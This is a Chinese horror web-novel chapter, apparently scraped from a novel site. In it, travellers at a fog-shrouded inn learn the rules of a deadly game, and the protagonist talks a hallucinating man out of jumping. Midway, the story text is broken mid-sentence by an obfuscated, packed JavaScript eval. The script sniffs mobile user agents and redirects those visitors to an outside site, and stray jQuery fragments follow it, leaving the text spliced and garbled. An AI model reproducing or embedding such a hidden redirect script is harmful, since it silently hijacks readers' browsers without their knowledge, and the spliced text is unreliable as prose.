饭菜很丰盛。红烧肉是深红色的，皮糯肉烂，筷子一碰就散开，露出里面一层一层的纹理，像树的年轮。清蒸鱼躺在盘子里，鱼眼凸出，鱼鳍翘起，像还在游。蒜蓉青菜是翠绿色的，蒜末切得极细，金黄色的，撒在青菜上，像秋天的落叶。番茄蛋汤是橙红色的，蛋花在汤里飘着，一朵一朵的，像天上的云。
八个人坐在圆桌旁，没有人说话。他们只是吃着。筷子碰碗碟的声音，咀嚼的声音，吞咽的声音，在空旷的大堂里回荡，像某种古老的仪式。姜禾吃得很慢，每一口都嚼很久，像是在确认食物的味道。顾深吃得很快，像是在赶时间——但他不知道自己在赶什么时间。周大勇把烟掐灭了，塞进口袋里，端起碗，扒了一口饭，米饭是白色的，粒粒分明，在灯光下泛着微微的光泽。陆一鸣吃了两口就放下了筷子，不是不饿，是太累了，累到连嚼东西的力气都没有了。沈听溪夹了一块红烧肉，放在嘴里，嚼了两下，停住了，眼眶红了，但她没有哭，咽下去，又夹了一块。赵铁吃了三碗饭，没有吃菜，只是白饭，一口一口地扒，像在完成一项任务。文清喝了一碗汤，汤很烫，他吹了很久，吹到汤的表面起了一层薄薄的膜，他才慢慢地、一口一口地喝下去。
林墨没有吃。他坐在椅子上，看着桌上的菜，看着碗里的饭，看着碟子里的姜丝。他的胃在收缩，但他的喉咙像被什么东西堵住了。不是不饿，是吃不下。这栋房子让他吃不下。这些菜让他吃不下。这个老板娘让他吃不下。
老板娘在柜台后面，给那十个旅人添菜。一盘红烧肉，一条清蒸鱼，一碟蒜蓉青菜，一碗番茄蛋汤。和他们的菜一模一样。旅人们在吃，在笑，在说话。有人讲了一个笑话，其他人笑了，笑声很大，在大堂里回荡，像一群在树林里叫唤的鸟。林墨看着他们，试图从他们的表情、动作、对话中找到破绽——太流畅了。那个讲笑话的人，讲完之后自己先笑了，笑的时候眼睛眯起来，露出两颗虎牙。听笑话的人，笑的时候肩膀在抖，有人拍桌子，有人捂肚子，有人把嘴里的汤喷了出来。一个NPC不会喷汤。一个NPC不会在喷汤之后不好意思地擦嘴，擦完之后发现袖子上沾了油，皱了皱眉，用纸巾蘸了水，一点一点地擦。
他们是人。
林墨把这个结论放在脑子里，翻来覆去地看了几遍，没有找到破绽。但他还是不信。不是因为他们太像人了，而是因为他们太像“正常”的人了。在这片雾里，在这栋突然出现的房子里，在这个一直笑的老板娘面前，他们太正常了。正常到不正常。
他收回目光，看着自己的碗。碗是青花瓷的，很白，很薄，灯光能透过碗壁，在桌面上投下一圈淡淡的光晕。碗里的饭已经凉了，米粒黏在一起，变成一坨灰白色的、没有形状的东西。他拿起筷子，夹了一口，放在嘴里。米饭是冷的，硬的，没有味道。他嚼了两下，咽下去。胃里有什么东西翻了一下，不是恶心，是抗拒。他的身体在告诉他——不要吃。不要吃这里的东西。但他还是吃了。因为他需要体力。他需要活着走出这片雾。
吃完饭，旅人们陆续上楼了。他们的脚步声在楼梯上响起，木板发出“咯吱咯吱”的声音，像老人的骨头。老板娘在收拾桌子，碗碟碰撞的声音清脆而遥远，像从另一个世界传来的。她一边收拾一边哼歌，声音很轻，调子很慢，像一首摇篮曲。林墨听不清歌词，只能听到旋律——低沉的，缓慢的，像一个人在深夜里走路，脚步声在空旷的街道上回荡。
“各位客官，夜深了，早点歇息吧。”老板娘端着碗碟，朝厨房走去，走到门口，回头看了他们一眼。她的笑容还在，酒窝还在，弯弯的眼睛还在。但她的眼神里有一种说不清的东西——不是善意，不是恶意，而是一种更复杂的、更难形容的东西。像一个人在看着一群即将进入陷阱的猎物，不是幸灾乐祸，而是——同情。她知道会发生什么。她知道他们不知道。
林墨站起来。“上楼。”
七个人跟着他走上楼梯。楼梯很窄，只容一人通过。木板在脚下发出“咯吱咯吱”的声音，像老人的骨头。墙壁上挂着画，画的是花——不是梅花，不是兰花，不是菊花，而是一种他们都没有见过的花。花瓣是细长的，边缘是卷曲的，颜色是淡黄色的，像快要落山的太阳。花朵很大，比人的脸还大，花瓣层层叠叠，像无数只手在张开又合拢。画的右下角写着三个字——夜来香。
林墨的房间在天字五号。他推开门，走进去，关上门。门闩是铁的，很沉，他插上之后又检查了一遍，确认插紧了。房间不大，一张床，一张桌子，一把椅子，一个衣柜。床是木头的，上面铺着白色的床单，被子叠得整整齐齐，像一块豆腐。桌子上放着一盏烛台，蜡烛是白色的，火焰在跳动着，把影子投在墙上，像一个人在跳舞。窗户是关着的，窗帘是拉上的，窗帘的布料很厚，看不到外面。空气中有一种气味——不是桂花，不是蜂蜜，而是一种更浓的、更甜的、像糖浆一样的气味。它从窗帘的缝隙里渗进来，从门缝里渗进来，从墙壁里渗进来。无处不在。
林墨没有上床。他坐在椅子上，面对着门，面对着那盏跳动的烛火。他没有关灯。他需要光。在这栋房子里，黑暗比光明更危险。他把手放在口袋里，触碰到龙舌兰。花瓣是温热的，像一个人的体温。他握着它，像握着一个人的手。
不知道过了多久。也许一个小时，也许两个小时。烛火在跳动着，影子在墙上跳舞。空气里的甜味越来越浓，浓到像在喝糖水，浓到嗓子发黏，浓到呼吸都变得沉重。然后他听到了歌声。
不是从隔壁传来的，不是从楼上传来的，而是从楼下传来的。从那个大堂里，从那个柜台后面，从那个一直笑的老板娘嘴里。声音很轻，很远，像从水底传来的。调子很慢，很缓，像一个人在走路，走很长的路，走了很久，不知道还要走多久。他听不清歌词，但旋律在空气中飘荡，像一条看不见的蛇，从门缝里钻进来，从耳朵里钻进去，缠在他的脑子里。
他站起来，走到窗边。拉开窗帘——窗户是开着的。他记得自己关上了窗户。他记得自己检查过。但现在窗户是开着的。窗帘在风中飘动，像一只巨大的手在招手。他把头探出窗外——后院很大，铺着青石板，石板的缝隙里长着野草。院子的中央，有一朵花。
很大。比他见过的任何花都大。花朵比人的身体还大，花瓣是淡黄色的，边缘是白色的，像被月光洗过。花瓣在慢慢地张开，一片，两片，三片……像一个人在伸懒腰，像一只蝴蝶在破茧，像一扇门在被推开。空气里的甜味更浓了，浓到像实质化的液体，浓到他的眼睛开始发涩，浓到他的脑子开始变得迟钝。
歌声从楼下传来。这一次，他听清了歌词。
“夜来香啊夜来香，开在无人问津的巷。有人路过闻见香，问它为何夜里放。夜来香啊轻声讲，白天有光我不亮，夜里无光我才放。不是不爱那日光，只是日光太匆忙，照不到我这小巷……”
声音很轻，很柔，像母亲在哄孩子睡觉。但歌词里藏着的东西，让林墨的脊背发凉。
“夜来香啊夜来香，开在人心最深的房。有人路过闻见香，问他为何心里藏。夜来香啊轻声讲，白天做人我不慌，夜里做鬼我才放。不是不爱那阳光，只是阳光照不到，人心最深的那个巷……”
林墨的手握紧了龙舌兰。花瓣猛地烫了一下，像被火烧到了。他的脑子清醒了一瞬——就那么一瞬。然后歌声继续了。
“第一夜，花开半朵，闻见香的人心痒痒。想要啊想要啊，想要那得不到的糖。你写下来，我帮你放，放在花蕊里慢慢酿。你伸手啊你伸手，伸手就能拿到糖。拿到糖的人心欢喜，迷醉值啊长一长……”
林墨的瞳孔收缩了。
“第二夜，花开满枝，闻见香的人心慌慌。怕什么怕什么，怕那镜子里自己的模样。你走进去啊你走进去，走进去就能看到光。看到光的人心发凉，迷醉值啊又长一长……”
他的呼吸加快了。
“第三夜，花落结果，闻见香的人心茫茫。选谁啊选谁啊，选那解药给谁尝。你说真话啊你说真话，真话比刀还伤。伤了人的心淌血，迷醉值啊到顶了。到顶的人啊留下来，做我的花，做我的香，做我这晚香驿站的——新姑娘……”
歌声停了。花开了。夜来香在月光下完全绽放，花瓣像无数只手，伸向天空，像是在乞求什么。空气里的甜味浓到了极点，浓到他的胃开始翻涌，浓到他的眼睛开始流泪，浓到他的脑子像被泡在糖浆里，什么都想不清楚。
他闭上眼睛。
龙舌兰在掌心里烫着，像一颗快要爆炸的心脏。他握着它，握着那朵从鬼王庙里带出来的、暗黑花神送给他的花。它在救他。它在用疼痛救他。疼痛让他清醒，清醒让他思考，思考让他——知道了规则。
不是老板娘告诉他的规则。是花告诉他的规则。是龙舌兰在用它的刺，在他的掌心里刻字。一笔一画，像刀割。
迷醉值。欲望之花。恐惧之镜。抉择之夜。解药。傀儡。使者。
每一个字都像一根针，扎进他的掌心里，扎进他的血管里，扎进他的脑子里。他疼得发抖，但他没有松开手。他握着，握着，握着。直到最后一个字刻完了，直到龙舌兰的温度慢慢降下来，降回到那种温热的、像一个人的体温一样的温度。
他睁开眼睛。
窗户还是开着的。窗帘还在飘。夜来香还在月光下绽放。但歌声已经停了。老板娘不唱了。楼下安静了。安静得像一座坟墓。
他低头看自己的掌心。没有字。没有伤口。没有血。只有一条一条的掌纹，像干涸的河床。他不知道刚才那些字是真的还是假的。但他知道规则了。不管是谁告诉他的，规则就在那里。在这栋房子里，在这朵花里，在这个一直笑的老板娘的笑容里。
迷醉值。欲望。恐惧。抉择。解药。傀儡。使者。
他走到桌边，坐下来。烛火还在跳，影子还在跳舞。他把手放在桌上，看着自己的掌心。掌纹很深，像被刀刻过的。他不确定那些字是不是还在。但他知道一件事——他不能睡。睡着了，就闻不到香味了。闻不到香味，就不知道自己迷醉值有多高了。不知道自己迷醉值有多高，就会一步一步地走进去，走进那朵花里，变成它的养料，变成它的香，变成这晚香驿站里的——新姑娘。
他闭上眼睛。龙舌兰在口袋里温着，像一个人的手，握着他的手。
敲门声响起。三声，很轻，很有节奏。
他睁开眼。“进来。”
门开了。姜禾站在门口，脸色很白，嘴唇没有血色。她的手里握着一杯水，水是凉的，杯壁上凝着水珠。她走进来，把水放在桌上，坐在他对面。
“你也听到了。”她说。不是疑问，是陈述。
“嗯。”
“那是什么？”
“游戏规则。”
姜禾的手指在桌面上敲了两下。不是摩尔斯电码，只是紧张。
“迷醉值。”她说，“我闻到了。从吃完饭就开始闻到。越来越浓。我现在——”她停了一下，闭上眼睛，深吸一口气，“我觉得我有点晕。不是喝醉的那种晕，是一种——像在做梦。你知道自己在做梦，但醒不过来。”
林墨看着她。她的眼睛是亮的，但亮的不是光，是水。她的迷醉值不高，但她在害怕。害怕自己会越来越高，高到醒不过来。
“你呢？”她问。“你的迷醉值多少？”
林墨沉默了一会儿。“我不知道。但我在疼。”
“疼？”
“龙舌兰在扎我。它用疼让我清醒。”他把手从口袋里抽出来，摊开掌心。掌心里有一个红点，很小，像被针刺过的。没有血，但很疼。他握紧拳头，又松开。红点还在。
姜禾看着那个红点，看了很久。然后她站起来，走到门口，回头看了他一眼。
“我去看看其他人。”
“别一个人去。”林墨站起来。“叫上赵铁。”
姜禾点了点头，走了出去。门没有关。林墨站在门口，看着走廊。走廊很长，很暗，只有尽头有一盏灯，灯是红色的，像一只闭不上的眼睛。空气中弥漫着夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454765|201212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来香的甜味，浓到像实质化的液体，浓到他的嗓子发黏。他关上门，走回桌边，坐下来。烛火在跳，影子在跳舞。他在等。等天亮。等游戏开始。等那些规则一个一个地变成现实。他不知道其他人能不能撑过去。但他知道一件事——他要带他们出去。不管迷醉值多高，不管夜来香多浓，不管这个游戏多残酷。他要把他们带出去。
敲门声又响了。这一次很急，很多声，像有人在拍打。
他打开门。陆一鸣站在门口，脸是白的，嘴唇是白的，整个人像一张被漂白过的纸。他的眼睛是睁着的，但瞳孔是放大的，像两口干涸的井。
“楼下……”他的声音在发抖，“楼下那些人……他们在吵……有人要跳楼……”
林墨冲出去。
大堂里，灯全亮了。那十个旅人站在大堂中央，有人在哭，有人在喊，有人蹲在地上抱着头，有人靠在墙上发抖。一个男人站在二楼的走廊上，骑在栏杆上，一条腿已经跨过去了。他的脸是扭曲的，眼睛是红的，嘴里在喊——“我受不了了！我受不了了！让我死！让我死！”
楼下的人在大喊——“别跳！”“你下来！”“想想你老婆孩子！”“你冷静一点！”
但那个男人听不进去。他的眼睛看着虚空中的某个地方，看着别人看不到的东西。他的迷醉值太高了。高到他已经分不清什么是真的，什么是假的。高到他以为跳下去就能解脱。高到他忘了——这栋楼只有两层。跳下去不会死。只会疼。只会增加迷醉值。只会让他更快地变成夜来香的养料。
林墨跑上二楼。赵铁已经在走廊上了，他的手臂伸出去，想抓住那个男人，但距离太远，够不到。那个男人看到林墨，笑了。笑容是扭曲的，像一朵被揉皱的花。
“你来了。”他说。“你也看到了，对不对？那些东西，那些花，那些——那些从身体里长出来的花。我看到了。我看到了我老婆。她变成了花。从胸口长出来的，花瓣是红的，花蕊是黑的。她在叫我。她说——‘来啊，来啊，来陪我啊。’我要去陪她。她一个人，害怕……”
林墨走到他面前，蹲下来，和他平视。
“你老婆叫什么？”
男人愣了一下。“什么？”
“你老婆叫什么名字？”
男人的嘴唇动了动。“叫……叫小芳。”
“小芳姓什么？”
“姓……姓……”男人的眼睛开始眨，开始闪，开始慌乱。“姓什么？我……我不记得了。”
“你老婆姓什么你都不记得了？”
“我……我记得！我当然记得！她姓……姓……”
“她不是你老婆。”林墨的声音很平。“那是夜来香给你看的幻象。你老婆不在这里。她在家里。在等你回去。”
男人的眼睛瞪大了。“你骗我……”
“我没骗你。你想想，你老婆长什么样？眼睛是大的还是小的？鼻子是高的还是塌的？她笑起来有没有酒窝？她生气的时候会不会摔东西？她做的红烧肉是咸的还是淡的？”
男人的眼泪流了下来。“咸的……她做的红烧肉很咸……我说咸了，她说下次少放点盐，但下次还是咸的……她总是记不住……她总是……”
他从栏杆上滑下来，瘫坐在地上，捂着脸哭。哭声很大，很响，像一只受伤的野兽在嚎叫。林墨蹲在他面前，看着他哭。他没有安慰他。因为安慰没有用。这个人需要的不是安慰，是真相。是那个他差点忘掉的、被夜来香偷走的真相。他的迷醉值太高了。高到差点让他忘了自己老婆姓什么。高到差点让他以为一朵花是她。高到差点让他跳下去。
赵铁把他扶起来，扶到房间里。其他人跟着进去了。走廊上只剩下林墨和那九个旅人。他们看着他，眼神里有恐惧，有感激，有怀疑，有一种说不清的东西。林墨看着他们。九张脸，九个名字，九段人生。他不知道他们是谁，不知道他们从哪里来，不知道他们经历了什么才走到这里。但他知道一件事——他们也是人。会害怕，会绝望，会崩溃，会差点忘记自己老婆姓什么的人。
一个男人走过来，伸出手。三十出头，戴眼镜，穿格子衬衫，像个程序员。
“谢谢你。”他说。“我叫陈默。”
林墨握了他的手。手是冷的，在抖。
一个接一个，他们走过来，自我介绍。短发女人说叫阿琳，是护士。长发女人说叫小曼，是学生。胖子说叫大伟，是厨师。瘦子说叫阿杰，是快递员。老一点的说叫老孙，是出租车司机。年轻一点的说叫小飞，是理发师。还有一个女人，一直站在角落里，没有说话。她的眼睛是黑色的，很深，像两口井。她看着林墨，没有走过来，没有自我介绍。只是看着。像在看他，又像在看别的东西。
林墨没有问她。他转身，走下楼。
大堂里，七个人在等他。姜禾、顾深、周大勇、陆一鸣、沈听溪、赵铁、文清。他们站在圆桌旁，看着桌上的碗碟。碗碟已经收走了，桌上放着一个花盆。花盆里种着一株夜来香。花苞是淡黄色的，紧紧地裹着，像一个握紧的拳头。
林墨走到桌边，坐下来。其他人也坐下来。八个人围坐在圆桌旁，看着那株夜来香。花苞在灯光下微微颤动，像有什么东西在里面挣扎，要钻出来。
“游戏要开始了。”林墨说。他的声音很平，像在陈述一个事实。“规则你们也听到了。迷醉值，欲望之花，恐惧之镜，抉择之夜。赢的人得一百积分，输的人——留下来，做夜来香的养料。”
没有人说话。他们只是看着那株夜来香。花苞在颤，在抖，在慢慢地、一点一点地张开。
林墨把手放在口袋里，触碰到龙舌兰。花瓣是温热的，像一个人的体温。他握着它，像握着一个人的手。
“我会带你们出去的。”他说。
没有人回答。但他们的眼睛在说——我们信你。
夜来香的花苞张开了一条缝。从那条缝里，渗出了一丝香气。很淡，很轻，像一个人在很远的地方喊他们的名字。
游戏开始了。